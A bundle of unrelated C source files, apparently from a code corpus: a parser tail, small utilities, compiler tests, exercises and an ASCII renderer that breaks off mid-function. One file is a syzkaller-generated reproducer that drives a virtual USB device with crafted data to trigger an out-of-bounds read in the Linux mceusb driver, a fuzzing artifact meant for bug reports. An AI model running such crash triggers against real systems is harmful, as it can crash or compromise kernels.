YYABORT or YYACCEPT, an incorrect destructor might then be invoked immediately. In the case of YYERROR or YYBACKUP, subsequent parser actions might lead to an incorrect destructor call or verbose syntax error message before the lookahead is translated. */ YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc); YYPOPSTACK (yylen); yylen = 0; YY_STACK_PRINT (yyss, yyssp); *++yyvsp = yyval; /* Now 'shift' the result of the reduction. Determine what state that goes to, based on the state we popped back to and the rule number reduced by. */ yyn = yyr1[yyn]; yystate = yypgoto[yyn - YYNTOKENS] + *yyssp; if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp) yystate = yytable[yystate]; else yystate = yydefgoto[yyn - YYNTOKENS]; goto yynewstate; /*--------------------------------------. | yyerrlab -- here on detecting error. | `--------------------------------------*/ yyerrlab: /* Make sure we have latest lookahead translation. See comments at user semantic actions for why this is necessary. */ yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar); /* If not already recovering from an error, report this error. */ if (!yyerrstatus) { ++yynerrs; #if ! YYERROR_VERBOSE yyerror (YY_("syntax error")); #else # define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \ yyssp, yytoken) { char const *yymsgp = YY_("syntax error"); int yysyntax_error_status; yysyntax_error_status = YYSYNTAX_ERROR; if (yysyntax_error_status == 0) yymsgp = yymsg; else if (yysyntax_error_status == 1) { if (yymsg != yymsgbuf) YYSTACK_FREE (yymsg); yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc); if (!yymsg) { yymsg = yymsgbuf; yymsg_alloc = sizeof yymsgbuf; yysyntax_error_status = 2; } else { yysyntax_error_status = YYSYNTAX_ERROR; yymsgp = yymsg; } } yyerror (yymsgp); if (yysyntax_error_status == 2) goto yyexhaustedlab; } # undef YYSYNTAX_ERROR #endif } if (yyerrstatus == 3) { /* If just tried and failed to reuse lookahead token after an error, discard it. */ if (yychar <= YYEOF) { /* Return failure if at end of input. */ if (yychar == YYEOF) YYABORT; } else { yydestruct ("Error: discarding", yytoken, &yylval); yychar = YYEMPTY; } } /* Else will try to reuse lookahead token after shifting the error token. */ goto yyerrlab1; /*---------------------------------------------------. | yyerrorlab -- error raised explicitly by YYERROR. | `---------------------------------------------------*/ yyerrorlab: /* Pacify compilers like GCC when the user code never invokes YYERROR and the label yyerrorlab therefore never appears in user code. */ if (/*CONSTCOND*/ 0) goto yyerrorlab; /* Do not reclaim the symbols of the rule whose action triggered this YYERROR. */ YYPOPSTACK (yylen); yylen = 0; YY_STACK_PRINT (yyss, yyssp); yystate = *yyssp; goto yyerrlab1; /*-------------------------------------------------------------. | yyerrlab1 -- common code for both syntax error and YYERROR. | `-------------------------------------------------------------*/ yyerrlab1: yyerrstatus = 3; /* Each real token shifted decrements this. */ for (;;) { yyn = yypact[yystate]; if (!yypact_value_is_default (yyn)) { yyn += YYTERROR; if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR) { yyn = yytable[yyn]; if (0 < yyn) break; } } /* Pop the current state because it cannot handle the error token. */ if (yyssp == yyss) YYABORT; yydestruct ("Error: popping", yystos[yystate], yyvsp); YYPOPSTACK (1); yystate = *yyssp; YY_STACK_PRINT (yyss, yyssp); } YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN *++yyvsp = yylval; YY_IGNORE_MAYBE_UNINITIALIZED_END /* Shift the error token. */ YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp); yystate = yyn; goto yynewstate; /*-------------------------------------. | yyacceptlab -- YYACCEPT comes here. | `-------------------------------------*/ yyacceptlab: yyresult = 0; goto yyreturn; /*-----------------------------------. | yyabortlab -- YYABORT comes here. | `-----------------------------------*/ yyabortlab: yyresult = 1; goto yyreturn; #if !defined yyoverflow || YYERROR_VERBOSE /*-------------------------------------------------. | yyexhaustedlab -- memory exhaustion comes here. | `-------------------------------------------------*/ yyexhaustedlab: yyerror (YY_("memory exhausted")); yyresult = 2; /* Fall through. */ #endif yyreturn: if (yychar != YYEMPTY) { /* Make sure we have latest lookahead translation. See comments at user semantic actions for why this is necessary. */ yytoken = YYTRANSLATE (yychar); yydestruct ("Cleanup: discarding lookahead", yytoken, &yylval); } /* Do not reclaim the symbols of the rule whose action triggered this YYABORT or YYACCEPT. */ YYPOPSTACK (yylen); YY_STACK_PRINT (yyss, yyssp); while (yyssp != yyss) { yydestruct ("Cleanup: popping", yystos[*yyssp], yyvsp); YYPOPSTACK (1); } #ifndef yyoverflow if (yyss != yyssa) YYSTACK_FREE (yyss); #endif #if YYERROR_VERBOSE if (yymsg != yymsgbuf) YYSTACK_FREE (yymsg); #endif return yyresult; } #line 44 "calc.y" /* yacc.c:1906 */ /* C Code */ int computeSymbolIndex(char token) { int idx = -1; if(islower(token)) { idx = token - 'a' + 26; } else if(isupper(token)) { idx = token - 'A'; } return idx; } /* retuens the value of a given symbol*/ int symbolVal(char symbol) { int bucket = computeSymbolIndex(symbol); return symbols[bucket]; } /* updates the value of a given symbol*/ void updateSymbolVal(char symbol, int val) { int bucket = computeSymbolIndex(symbol); symbols[bucket] = val; } int main(void) { /*init symbol table*/ int i; for(i=0; i<52; i++) { symbols[i] = 0; } return yyparse ( ); } void yyerror(char* s) {fprintf(stderr, "%s\n", s);}
the_stack_data/75138720.c
/* * Copyright (C) 2009-2013 Lorenzo Pallara, [email protected] * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111-1307, USA. */ #define MULTICAST #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/reboot.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/poll.h> #include <sys/mman.h> #include <fcntl.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <string.h> #define TS_PACKET_SIZE 188 int main(int argc, char *argv[]) { int input_file; int output_file1; int output_file2; int byte_read; unsigned char packet[TS_PACKET_SIZE]; if (argc >= 4) { input_file = open(argv[1], O_RDONLY); if (input_file < 0) { fprintf(stderr, "Can't open file %s\n", argv[1]); return 0; } output_file1 = open(argv[2], O_WRONLY); if (output_file1 < 0) { fprintf(stderr, "Can't open file %s\n", argv[2]); return 0; } output_file2 = open(argv[3], O_WRONLY); if (output_file2 < 0) { fprintf(stderr, "Can't open file %s\n", argv[3]); return 0; } } else { fprintf(stderr, "Usage: 'tsdoubleoutput inputfile.ts outputfile1.ts outputfile2.ts'\n"); fprintf(stderr, "N.B. files must exist, touch them if needed'\n"); return 0; } byte_read = 1; while(byte_read) { byte_read = read(input_file, packet, TS_PACKET_SIZE); write(output_file1, packet, TS_PACKET_SIZE); write(output_file2, packet, TS_PACKET_SIZE); } close(input_file); close(output_file1); close(output_file2); return 0; }
the_stack_data/352784.c
//5.Find the output of the following program #include<stdio.h> int main() { int x=3; float y=3.0; if(x==y) printf("x and y are equal"); else printf("x and y are not equal"); return 0; } //O/P // x and y are equal
the_stack_data/135290.c
/* ARM and Thumb asm statements should be able to access the constant pool. */ /* { dg-do compile { target arm*-*-* } } */ extern unsigned x[]; unsigned *trapTable() { unsigned *i; __asm__ volatile("ldr %0,%1" : "=r"(i) : "m"(x[0])); return i; }
the_stack_data/572434.c
/* gcc -std=c17 -lc -lm -pthread -o ../_build/c/numeric_math_frexp_1.exe ./c/numeric_math_frexp_1.c && (cd ../_build/c/;./numeric_math_frexp_1.exe) https://en.cppreference.com/w/c/numeric/math/frexp */ #include <stdio.h> #include <math.h> #include <float.h> int main(void) { double f = 123.45; printf("Given the number %.2f or %a in hex,\n", f, f); double f3; double f2 = modf(f, &f3); printf("modf() makes %.0f + %.2f\n", f3, f2); int i; f2 = frexp(f, &i); printf("frexp() makes %f * 2^%d\n", f2, i); i = ilogb(f); printf("logb()/ilogb() make %f * %d^%d\n", f/scalbn(1.0, i), FLT_RADIX, i); }
the_stack_data/1065672.c
/* Database "course_teach" contains tables: course course_arrange teacher */ #ifndef COURSE_TEACH #define COURSE_TEACH struct T_course { double course_id; char staring_date[7]; char course[14]; }; struct T_course_arrange { double course_id; // --> course.course_id double teacher_id; // --> teacher.teacher_id double grade; }; struct T_teacher { double teacher_id; char name[18]; char age[3]; char hometown[28]; }; struct T_course course[] = { { 1, "5 May", "Language Arts" }, { 2, "6 May", "Math" }, { 3, "7 May", "Science" }, { 4, "9 May", "History" }, { 5, "10 May", "Bible" }, { 6, "11 May", "Geography" }, { 7, "13 May", "Sports" }, { 8, "14 May", "French" }, { 9, "15 May", "Health" }, { 10, "17 May", "Music" } }; struct T_course_arrange course_arrange[] = { { 2, 5, 1 }, { 2, 3, 3 }, { 3, 2, 5 }, { 4, 6, 7 }, { 5, 6, 1 }, { 10, 7, 4 } }; struct T_teacher teacher[] = { { 1, "Joseph Huts", "32", "Blackrod Urban District" }, { 2, "Gustaaf Deloor", "29", "Bolton County Borough" }, { 3, "Vicente Carretero", "26", "Farnworth Municipal Borough" }, { 4, "John Deloor", "33", "Horwich Urban District" }, { 5, "Kearsley Brown", "45", "Kearsley Urban District" }, { 6, "Anne Walker", "41", "Little Lever Urban District" }, { 7, "Lucy Wong", "39", "Turton Urban District" } }; #endif
the_stack_data/1202366.c
/* { dg-do compile } */ /* { dg-require-effective-target ilp32 } */ /* { dg-options "-ansi -pedantic" } */ int foo () { return 1; } register char *stack_ptr __asm ("%esp"); /* { dg-warning "file-scope declaration of 'stack_ptr' specifies 'register'" } */
the_stack_data/200143247.c
// KASAN: slab-out-of-bounds Read in mceusb_dev_recv // https://syzkaller.appspot.com/bug?id=345aff423c4ad1a7fc904c911aa13d2040d78718 // status:open // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <endian.h> #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> #include <linux/usb/ch9.h> unsigned long long procid; static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } #define USB_DEBUG 0 #define USB_MAX_EP_NUM 32 struct usb_device_index { struct usb_device_descriptor* dev; struct usb_config_descriptor* config; unsigned config_length; struct usb_interface_descriptor* iface; struct usb_endpoint_descriptor* eps[USB_MAX_EP_NUM]; unsigned eps_num; }; static bool parse_usb_descriptor(char* buffer, size_t length, struct usb_device_index* index) { if (length < sizeof(*index->dev) + sizeof(*index->config) + sizeof(*index->iface)) return false; index->dev = (struct usb_device_descriptor*)buffer; index->config = (struct usb_config_descriptor*)(buffer + sizeof(*index->dev)); index->config_length = length - sizeof(*index->dev); index->iface = (struct usb_interface_descriptor*)(buffer + sizeof(*index->dev) + sizeof(*index->config)); index->eps_num = 0; size_t offset = 0; while (true) { if (offset + 1 >= length) break; uint8_t desc_length = buffer[offset]; uint8_t desc_type = buffer[offset + 1]; if (desc_length <= 2) break; if (offset + desc_length > length) break; if (desc_type == USB_DT_ENDPOINT) { index->eps[index->eps_num] = (struct usb_endpoint_descriptor*)(buffer + offset); index->eps_num++; } if (index->eps_num == USB_MAX_EP_NUM) break; offset += desc_length; } return true; } enum usb_fuzzer_event_type { USB_FUZZER_EVENT_INVALID, USB_FUZZER_EVENT_CONNECT, USB_FUZZER_EVENT_DISCONNECT, USB_FUZZER_EVENT_SUSPEND, USB_FUZZER_EVENT_RESUME, USB_FUZZER_EVENT_CONTROL, }; struct usb_fuzzer_event { uint32_t type; uint32_t length; char data[0]; }; struct usb_fuzzer_init { uint64_t speed; const char* driver_name; const char* device_name; }; struct usb_fuzzer_ep_io { uint16_t ep; uint16_t flags; uint32_t length; char data[0]; }; #define USB_FUZZER_IOCTL_INIT _IOW('U', 0, struct usb_fuzzer_init) #define USB_FUZZER_IOCTL_RUN _IO('U', 1) #define USB_FUZZER_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_fuzzer_event) #define USB_FUZZER_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP0_READ _IOWR('U', 4, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor) #define USB_FUZZER_IOCTL_EP_WRITE _IOW('U', 7, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP_READ _IOWR('U', 8, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_CONFIGURE _IO('U', 9) #define USB_FUZZER_IOCTL_VBUS_DRAW _IOW('U', 10, uint32_t) int usb_fuzzer_open() { return open("/sys/kernel/debug/usb-fuzzer", O_RDWR); } int usb_fuzzer_init(int fd, uint32_t speed, const char* driver, const char* device) { struct usb_fuzzer_init arg; arg.speed = speed; arg.driver_name = driver; arg.device_name = device; return ioctl(fd, USB_FUZZER_IOCTL_INIT, &arg); } int usb_fuzzer_run(int fd) { return ioctl(fd, USB_FUZZER_IOCTL_RUN, 0); } int usb_fuzzer_event_fetch(int fd, struct usb_fuzzer_event* event) { return ioctl(fd, USB_FUZZER_IOCTL_EVENT_FETCH, event); } int usb_fuzzer_ep0_write(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP0_WRITE, io); } int usb_fuzzer_ep0_read(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP0_READ, io); } int usb_fuzzer_ep_write(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP_WRITE, io); } int usb_fuzzer_ep_read(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP_READ, io); } int usb_fuzzer_ep_enable(int fd, struct usb_endpoint_descriptor* desc) { return ioctl(fd, USB_FUZZER_IOCTL_EP_ENABLE, desc); } int usb_fuzzer_configure(int fd) { return ioctl(fd, USB_FUZZER_IOCTL_CONFIGURE, 0); } int usb_fuzzer_vbus_draw(int fd, uint32_t power) { return ioctl(fd, USB_FUZZER_IOCTL_VBUS_DRAW, power); } #define USB_MAX_PACKET_SIZE 1024 struct usb_fuzzer_control_event { struct usb_fuzzer_event inner; struct usb_ctrlrequest ctrl; char data[USB_MAX_PACKET_SIZE]; }; struct usb_fuzzer_ep_io_data { struct usb_fuzzer_ep_io inner; char data[USB_MAX_PACKET_SIZE]; }; struct vusb_connect_string_descriptor { uint32_t len; char* str; } __attribute__((packed)); struct vusb_connect_descriptors { uint32_t qual_len; char* qual; uint32_t bos_len; char* bos; uint32_t strs_len; struct vusb_connect_string_descriptor strs[0]; } __attribute__((packed)); static const char* default_string = "syzkaller"; static bool lookup_connect_response(struct vusb_connect_descriptors* descs, struct usb_device_index* index, struct usb_ctrlrequest* ctrl, char** response_data, uint32_t* response_length) { uint8_t str_idx; switch (ctrl->bRequestType & USB_TYPE_MASK) { case USB_TYPE_STANDARD: switch (ctrl->bRequest) { case USB_REQ_GET_DESCRIPTOR: switch (ctrl->wValue >> 8) { case USB_DT_DEVICE: *response_data = (char*)index->dev; *response_length = sizeof(*index->dev); return true; case USB_DT_CONFIG: *response_data = (char*)index->config; *response_length = index->config_length; return true; case USB_DT_STRING: str_idx = (uint8_t)ctrl->wValue; if (str_idx >= descs->strs_len) { *response_data = (char*)default_string; *response_length = strlen(default_string); } else { *response_data = descs->strs[str_idx].str; *response_length = descs->strs[str_idx].len; } return true; case USB_DT_BOS: *response_data = descs->bos; *response_length = descs->bos_len; return true; case USB_DT_DEVICE_QUALIFIER: *response_data = descs->qual; *response_length = descs->qual_len; return true; default: exit(1); return false; } break; default: exit(1); return false; } break; default: exit(1); return false; } return false; } static volatile long syz_usb_connect(volatile long a0, volatile long a1, volatile long a2, volatile long a3) { uint64_t speed = a0; uint64_t dev_len = a1; char* dev = (char*)a2; struct vusb_connect_descriptors* descs = (struct vusb_connect_descriptors*)a3; if (!dev) { return -1; } struct usb_device_index index; memset(&index, 0, sizeof(index)); int rv = 0; rv = parse_usb_descriptor(dev, dev_len, &index); if (!rv) { return rv; } int fd = usb_fuzzer_open(); if (fd < 0) { return fd; } char device[32]; sprintf(&device[0], "dummy_udc.%llu", procid); rv = usb_fuzzer_init(fd, speed, "dummy_udc", &device[0]); if (rv < 0) { return rv; } rv = usb_fuzzer_run(fd); if (rv < 0) { return rv; } bool done = false; while (!done) { struct usb_fuzzer_control_event event; event.inner.type = 0; event.inner.length = sizeof(event.ctrl); rv = usb_fuzzer_event_fetch(fd, (struct usb_fuzzer_event*)&event); if (rv < 0) { return rv; } if (event.inner.type != USB_FUZZER_EVENT_CONTROL) continue; bool response_found = false; char* response_data = NULL; uint32_t response_length = 0; if (event.ctrl.bRequestType & USB_DIR_IN) { response_found = lookup_connect_response( descs, &index, &event.ctrl, &response_data, &response_length); if (!response_found) { return -1; } } else { if ((event.ctrl.bRequestType & USB_TYPE_MASK) != USB_TYPE_STANDARD || event.ctrl.bRequest != USB_REQ_SET_CONFIGURATION) { exit(1); return -1; } done = true; } if (done) { rv = usb_fuzzer_vbus_draw(fd, index.config->bMaxPower); if (rv < 0) { return rv; } rv = usb_fuzzer_configure(fd); if (rv < 0) { return rv; } unsigned ep; for (ep = 0; ep < index.eps_num; ep++) { rv = usb_fuzzer_ep_enable(fd, index.eps[ep]); if (rv < 0) { } else { } } } struct usb_fuzzer_ep_io_data response; response.inner.ep = 0; response.inner.flags = 0; if (response_length > sizeof(response.data)) response_length = 0; if (event.ctrl.wLength < response_length) response_length = event.ctrl.wLength; response.inner.length = response_length; if (response_data) memcpy(&response.data[0], response_data, response_length); else memset(&response.data[0], 0, response_length); if (event.ctrl.bRequestType & USB_DIR_IN) rv = usb_fuzzer_ep0_write(fd, (struct usb_fuzzer_ep_io*)&response); else rv = usb_fuzzer_ep0_read(fd, (struct usb_fuzzer_ep_io*)&response); if (rv < 0) { return rv; } } sleep_ms(200); return fd; } static volatile long syz_usb_ep_write(volatile long a0, volatile long a1, volatile long a2, volatile long a3) { int fd = a0; uint16_t ep = a1; uint32_t len = a2; char* data = (char*)a3; struct usb_fuzzer_ep_io_data io_data; io_data.inner.ep = ep; io_data.inner.flags = 0; if (len > sizeof(io_data.data)) len = sizeof(io_data.data); io_data.inner.length = len; memcpy(&io_data.data[0], data, len); int rv = usb_fuzzer_ep_write(fd, (struct usb_fuzzer_ep_io*)&io_data); if (rv < 0) { return rv; } sleep_ms(200); return 0; } uint64_t r[1] = {0xffffffffffffffff}; int main(void) { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); intptr_t res = 0; memcpy((void*)0x20000100, "\x12\x01\x00\x00\x44\xd5\xcf\x20\x09\x15\x42\x92\x5c\xfb\x00\x00\x00" "\x01\x09\x02\x36\x00\x01\x00\x00\x00\x00\x09\x04\x00\x00\x04\x11\x00" "\x4c\x00\x09\x85\x0f\x0e\x18\x00\x00\x00\x00\x09\x05\x07\x00\x00\x00" "\x00\x00\x00\x09\x05\x05\x12\x00\x00\x00\x00\x00\x09\x05\x82\x13\x00" "\xd9\xad\x23\x44\x99\xa6\xcb\x56\x10\xe2\xda\x50\xb4\xe9\x00\x00\x00" "\x00", 86); res = syz_usb_connect(0, 0x48, 0x20000100, 0); if (res != -1) r[0] = res; memcpy((void*)0x20000280, "\x02\xea\x1d\x3d\x79\x79\xe7\x76\xc3\x0a\xab\x7c\x79\xe6\x28\x08\x71" "\xb9\xbb\xb2\x39\xf0\xfc\xca\xa4\x11\x80\x4f\x70\x76\xe9\x2d\xe6\x52" "\xf7\xc6\x8b\xab\x96\xc2\x8d\xa0\x6b\x1a\xc5\xcc\x48\xa3\x6b\xe8\x69" "\x7f\x9c\x3c\xe4\x2f\x01\x2d\xa9\xe0\x91\xab\x4c\x7c\x48\x18\x27\xba" "\x00\x16\xa9\xdd\x15\x04\x11\x0a\xe3\x32\x24\x85\xe6\x95\xbc\x5e\xba" "\xf3\x0d\x8e\xae\x26\xbf\xd0\xc2\x83\x65\x2f\x03\x00\x35\xd4\xd4\x03" "\x0c\xd8\x4f\xcf\x61\xa2\x2d\xa2\x7c\xa4\x65", 113); syz_usb_ep_write(r[0], 0, 0x155, 0x20000280); return 0; }
the_stack_data/134514218.c
char buffer[40*24]; int main() { for(int i=0; i<40; i++) { buffer[i] = 'A'; } }
the_stack_data/134118.c
#include<stdio.h> int isSorted(int array[], int n) { int i ,control=1; for (i=0; i<n-1; i++) { if (array[i] > array[i+1]) { return 0; } } return 1; } int main() { int array[8] = {2, 6, 17, 26, 30, 32, 33, 35}; int n = sizeof(array) / sizeof(array[0]); if (isSorted(array, n)) { printf("Array is sorted"); } else { printf("Array in unsorted"); } return 0; }
the_stack_data/218893831.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); void __VERIFIER_assert(int cond) { if (!(cond)) { ERROR: __VERIFIER_error(); } return; } int main(void) { unsigned int x = 1; unsigned int y = 0; while (y < 1024) { x = 0; y++; } __VERIFIER_assert(x == 1); }
the_stack_data/282735.c
/* Generated by CIL v. 1.7.0 */ /* print_CIL_Input is false */ struct _IO_FILE; struct timeval; extern void signal(int sig , void *func ) ; extern float strtof(char const *str , char const *endptr ) ; typedef struct _IO_FILE FILE; extern int atoi(char const *s ) ; extern double strtod(char const *str , char const *endptr ) ; extern int fclose(void *stream ) ; extern void *fopen(char const *filename , char const *mode ) ; extern void abort() ; extern void exit(int status ) ; extern int raise(int sig ) ; extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; extern int strcmp(char const *a , char const *b ) ; extern int rand() ; extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; void RandomFunc(unsigned long input[1] , unsigned long output[1] ) ; extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; extern int gettimeofday(struct timeval *tv , void *tz , ...) ; extern int printf(char const *format , ...) ; int main(int argc , char *argv[] ) ; void megaInit(void) ; extern unsigned long strlen(char const *s ) ; extern long strtol(char const *str , char const *endptr , int base ) ; extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; struct timeval { long tv_sec ; long tv_usec ; }; extern void *malloc(unsigned long size ) ; extern int scanf(char const *format , ...) ; void megaInit(void) { { } } int main(int argc , char *argv[] ) { unsigned long input[1] ; unsigned long output[1] ; int randomFuns_i5 ; unsigned long randomFuns_value6 ; int randomFuns_main_i7 ; { megaInit(); if (argc != 2) { printf("Call this program with %i arguments\n", 1); exit(-1); } else { } randomFuns_i5 = 0; while (randomFuns_i5 < 1) { randomFuns_value6 = strtoul(argv[randomFuns_i5 + 1], 0, 10); input[randomFuns_i5] = randomFuns_value6; randomFuns_i5 ++; } RandomFunc(input, output); if (output[0] == 4242424242UL) { printf("You win!\n"); } else { } randomFuns_main_i7 = 0; while (randomFuns_main_i7 < 1) { printf("%lu\n", output[randomFuns_main_i7]); randomFuns_main_i7 ++; } } } void RandomFunc(unsigned long input[1] , unsigned long output[1] ) { unsigned long state[1] ; unsigned long local1 ; unsigned short copy11 ; { state[0UL] = (input[0UL] - 51238316UL) - 339126204UL; local1 = 0UL; while (local1 < 0UL) { if (state[0UL] > local1) { state[0UL] |= (((state[local1] >> ((state[local1] & 15UL) | 1UL)) | (state[local1] << (64 - ((state[local1] & 15UL) | 1UL)))) & 63UL) << 4UL; copy11 = *((unsigned short *)(& state[local1]) + 1); *((unsigned short *)(& state[local1]) + 1) = *((unsigned short *)(& state[local1]) + 0); *((unsigned short *)(& state[local1]) + 0) = copy11; copy11 = *((unsigned short *)(& state[local1]) + 0); *((unsigned short *)(& state[local1]) + 0) = *((unsigned short *)(& state[local1]) + 2); *((unsigned short *)(& state[local1]) + 2) = copy11; } else { state[0UL] = (state[0UL] << (((state[0UL] >> 2UL) & 15UL) | 1UL)) | (state[0UL] >> (64 - (((state[0UL] >> 2UL) & 15UL) | 1UL))); state[0UL] |= ((state[0UL] + state[local1]) & 15UL) << 2UL; } local1 ++; } output[0UL] = ((state[0UL] >> 13UL) | (state[0UL] << 51UL)) + 563432908449020955UL; } }
the_stack_data/92329036.c
#include<stdio.h> int multiply(int a, int* b) { if(a >= 1 && a <= 100) { *b = (*b)*a; return 1; } else { return 0; } } int main(void) { int numbers; scanf("%i", &numbers); int one = 1; int* res = &one; int single_number; int multplication_happened = 0; for(int i = 0; i < numbers; i++) { scanf("%i", &single_number); if(multiply(single_number, res)) { multplication_happened = 1; } } if(multplication_happened) { printf("%i\n", *res); } else { printf("There were no numbers from <1, 100>\n"); } return 0; }
the_stack_data/181393161.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int width = 140; int height = 40; void printAt(char character, int row,int column, char *buffer); void printLine(int x1, int y1, int x2, int y2, char *buffer); void printScreen(char *buffer, char *clean); void projection(int x, int y, int z, int *px, int *py); int main(){ char *screenBuffer = malloc((height * width + 1) * sizeof(char)); memset(screenBuffer,' ',height* width * sizeof(char)); screenBuffer[height * width] = '\0'; char *screenBufferClean = malloc((height * width + 1) * sizeof(char)); strcpy(screenBufferClean,screenBuffer); // CMD commands system("cls"); system("mode 140,40"); // end CMD commands printf("%c]0;Print line%c%c",27,27,'\\'); printLine(-4,5,10,10,screenBuffer); printLine(10,10,8,25,screenBuffer); printLine(8,25,-4,5,screenBuffer); printScreen(screenBuffer,screenBufferClean); usleep(1000000); //printLine(2,2,2,4,screenBuffer); //printScreen(screenBuffer,screenBufferClean); int *x1 = malloc(1*sizeof(int)); int *y1 = malloc(1*sizeof(int)); int *x2 = malloc(1*sizeof(int)); int *y2 = malloc(1*sizeof(int)); //Cubo 1 projection(100,100,13,x1,y1); projection(100,500,13,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(500,500,13,x1,y1); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(500,100,13,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(100,100,13,x1,y1); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(100,100,23,x1,y1); projection(100,500,23,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(500,500,23,x1,y1); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(500,100,23,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(100,100,23,x1,y1); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(100,100,13,x1,y1); projection(100,100,23,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(100,500,13,x1,y1); projection(100,500,23,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(500,500,13,x1,y1); projection(500,500,23,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(500,100,13,x1,y1); projection(500,100,23,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); //Fin cubo 1 //Cubo 2 projection(-50,-50,10,x1,y1); projection(-50,-250,10,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-250,-250,10,x1,y1); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-250,-50,10,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-50,-50,10,x1,y1); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-50,-50,20,x1,y1); projection(-50,-250,20,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-250,-250,20,x1,y1); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-250,-50,20,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-50,-50,20,x1,y1); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-50,-50,10,x1,y1); projection(-50,-50,20,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-50,-250,10,x1,y1); projection(-50,-250,20,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-250,-250,10,x1,y1); projection(-250,-250,20,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); projection(-250,-50,10,x1,y1); projection(-250,-50,20,x2,y2); printLine(*x1,*y1,*x2,*y2,screenBuffer); //Fin cubo 2 printScreen(screenBuffer,screenBufferClean); getchar(); free(x1); free(y1); free(x2); free(y2); free(screenBuffer); free(screenBufferClean); return 0; } void printAt(char character, int row, int column, char *buffer){ int uLimitRow = 0; int dLimitRow = height; int lLimitColumn = 0; int rLimitColumn = width; if(row < 0){ return; } if(column < 0){ return; } buffer[width * row + column] = character; } void printLine(int x1, int y1, int x2, int y2, char *buffer){ float dx = x2 - x1; float dy = y2 - y1; if(x1 < x2){ for(float x = x1, y = 0; x <= x2; x+=0.1){ y = ((x - x1)/dx) * dy + y1; printAt('#',(int)x,(int)y,buffer); } } else if(x1 > x2){ for(float x = x1, y = 0; x >= x2; x-=0.1){ y = ((x - x1)/dx) * dy + y1; printAt('#',(int)x,(int)y,buffer); } } else if(y1 < y2){ for(float y = y1, x = 0; y <= y2; y+=0.1){ x = ((y - y1)/dy) * dx + x1; printAt('#',(int)x,(int)y,buffer); } } else{ for(float y = y1, x = 0; y >= y2; y-=0.1){ x = ((y - y1)/dy) * dx + x1; printAt('#',(int)x,(int)y,buffer); } } printAt('#',x1,y1,buffer); printAt('#',x2,y2,buffer); } void printScreen(char *buffer, char *clean){ write(1,buffer,height*width); 